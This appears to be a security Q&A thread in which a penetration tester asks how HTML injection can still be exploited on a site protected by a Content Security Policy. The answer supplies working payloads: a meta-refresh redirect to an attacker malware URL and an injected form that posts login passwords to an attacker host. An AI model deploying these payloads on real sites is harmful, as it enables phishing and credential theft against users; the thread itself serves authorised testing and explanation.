What are some useful tags and payloads for HTML injection on CSP-protected sites?

Question

I'm pen-testing a website that fixed most of its XSS vulnerabilities by just adding a Content Security Policy. There are still HTML injections in several places. I've tried to get a javascript-containing file onto the origin via an attachments feature, but it looks like a dead end.

Since I can't execute javascript, what can I use as a proof of concept to show the continued severity of HTML injection attacks despite the CSP? Are there any HTML tags I can still use to compromise security?

---

The CSP has a default rule that only allows the same origin. However, there are exceptions for data: in <img>, and the policy also allows inline CSS.

Answer 1

You could try to do a redirect to another URL using meta-tags:

  <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware">

And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP.

  <form action=login.php> <!-- original action -->
  <form action=http://attacker.example.com/login.php>  <!-- your injected action -->
  ...<input type=password ....
  </form>

And of course you could include any kind of links to other sites, because links are not affected by CSP too.